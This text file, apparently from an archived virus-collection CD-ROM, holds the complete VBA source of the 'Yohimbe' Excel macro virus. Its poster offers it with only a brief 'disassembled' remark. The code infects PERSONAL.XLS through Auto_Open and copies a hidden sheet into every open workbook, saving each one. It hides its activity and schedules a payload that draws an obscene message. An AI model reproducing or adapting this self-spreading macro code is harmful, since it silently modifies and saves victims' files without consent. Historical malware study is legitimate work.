home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / YOHIMBE.ZIP / YOHIMBE.TXT next >
Text File  |  1997-01-05  |  4KB  |  122 lines
  1.                 The YohimBe Virus
  2.                 ~~~ ~~~~~~~ ~~~~~
  3.  
  4. Here's the Excel Macro Virus Yohimbe for you...  I have disassembled it so you can see 
  5. what is going on!
  6.  
  7. MACRO AUTO_OPEN
  8.  
  9. Sub Auto_Open()
  10.     On Error GoTo FixIt 'Errorhandler
  11.     'Set up infected book as a variable
  12.     Dim SaveBook As String
  13.     SaveBook = ActiveWorkbook.Name
  14.     Application.ScreenUpdating = False 'Don't want to see it working
  15.     ' Check Personal.xls for prior infection
  16.     Windows("PERSONAL.XLS").Visible = True
  17.         If SheetExists("Exec") Then
  18.         Windows("PERSONAL.XLS").Visible = False
  19.         GoTo AlreadyInfected
  20.         Else
  21.     ' Infect Personal.xls
  22.     Workbooks(SaveBook).Activate
  23.     Sheets("Exec").Visible = True
  24.     Sheets("Exec").Select
  25.     Sheets("Exec").Copy Before:=Workbooks("PERSONAL.XLS").Sheets(1)
  26.     Workbooks("PERSONAL.XLS").Activate
  27.     ActiveWorkbook.Sheets("Exec").Visible = False
  28.     ActiveWindow.Visible = False
  29.     Workbooks("PERSONAL.XLS").Save
  30. AlreadyInfected:  ' Return to originally opened book
  31.     Workbooks(SaveBook).Activate
  32.     ActiveWorkbook.Sheets("Exec").Visible = False
  33.     End If
  34.     GoTo OhKay
  35. FixIt:  ' In case of error infect everything that's open
  36.     DipDing
  37.     End
  38. OhKay:  ' Set time to infect all open books
  39.     Application.OnTime EarliestTime:=TimeValue("4:00 PM"), _
  40.     Procedure:="DipDing"
  41. End Sub
  42.  
  43. MACRO DIPDING
  44.  
  45. Sub DipDing() ' Routine to infect all open books
  46.     On Error GoTo DipFix ' Set up error handler
  47.     Application.ScreenUpdating = False
  48.     Dim book As Object
  49.     Dim CurrBook As String
  50.     CurrBook = ActiveWorkbook.Name
  51.         'Check each open book for infection, infect if not already infected
  52.         For Each book In Workbooks
  53.         book.Activate
  54.             If SheetExists("Exec") Then
  55.             GoTo Done
  56.             Else
  57.     Windows("PERSONAL.XLS").Visible = True
  58.     Windows("PERSONAL.XLS").Activate
  59.     Sheets("Exec").Visible = True
  60.     Sheets("Exec").Copy Before:=book.Sheets(1)
  61.     Sheets("Exec").Visible = False
  62.     ActiveSheet.PageSetup.RightHeader = "Yohimbe"
  63.     book.Save
  64. Done:
  65.     End If
  66.     Next book
  67.     'Cover your tracks
  68.     Windows("PERSONAL.XLS").Activate
  69.     Sheets("Exec").Visible = False
  70.     Windows("PERSONAL.XLS").Visible = False
  71.     Workbooks(CurrBook).Activate
  72.     Application.OnTime EarliestTime:=TimeValue("4:45 PM"), _
  73.     Procedure:="PayLoad"
  74. DipFix:
  75. End Sub
  76.  
  77. Function SheetExists(sName As String) As Boolean 'Infection checker function
  78.     Dim aSheet As Object
  79.     SheetExists = False
  80.     For Each aSheet In ActiveWorkbook.Sheets
  81.         If (StrComp(aSheet.Name, sName, 1) = 0) Then
  82.         SheetExists = True
  83.         End If
  84.     Next aSheet
  85. End Function
  86.  
  87. MACRO PAYLOAD
  88.  
  89. Sub PayLoad()
  90.     Cells.Select
  91.     Range("B1").Activate
  92.     Selection.RowHeight = 15
  93.     Selection.ColumnWidth = 2.5
  94.     Range("B9,C10,D11,D12,E13,F14,F15,G15,H15,I15,J15,K15,L15,M15,M14,N13,N12,N11,N10,N9,N8,N7,M7,L7,L8,L9,K7,J9,J8,J7,J6,J5,J4,J3,J2,I2,H2,H3,H4,H5,H6,H7,H8,H9,G7,F7,F8,F9,F10,E9,D8,C8,B8,H1,I1,J1").Select
  95.     With Selection.Interior
  96.         .ColorIndex = 16
  97.         .Pattern = xlSolid
  98.         .PatternColorIndex = xlAutomatic
  99.     End With
  100.     Range("F12").Select
  101.     ActiveCell.FormulaR1C1 = "FUCK YOU BUDDY"
  102.     Range("F12").Select
  103.     Selection.Font.Bold = True
  104.     With Selection.Font
  105.         .Name = "Arial"
  106.         .FontStyle = "Bold"
  107.         .Size = 16
  108.     End With
  109.     For mover = 1 To 20
  110.     Range("H1:J6").Select
  111.     Selection.Interior.ColorIndex = xlNone
  112.     Application.Wait Now + TimeValue("00:00:01")
  113.     Range("H6,H5,H4,H3,H2,H1,I1,J1,J2,I2,J3,J4,J5,J6").Select
  114.     With Selection.Interior
  115.         .ColorIndex = 16
  116.         .Pattern = xlSolid
  117.         .PatternColorIndex = xlAutomatic
  118.     End With
  119.     Application.Wait Now + TimeValue("00:00:01")
  120.     Next mover
  121.     Range("A4").Select
  122.     End Sub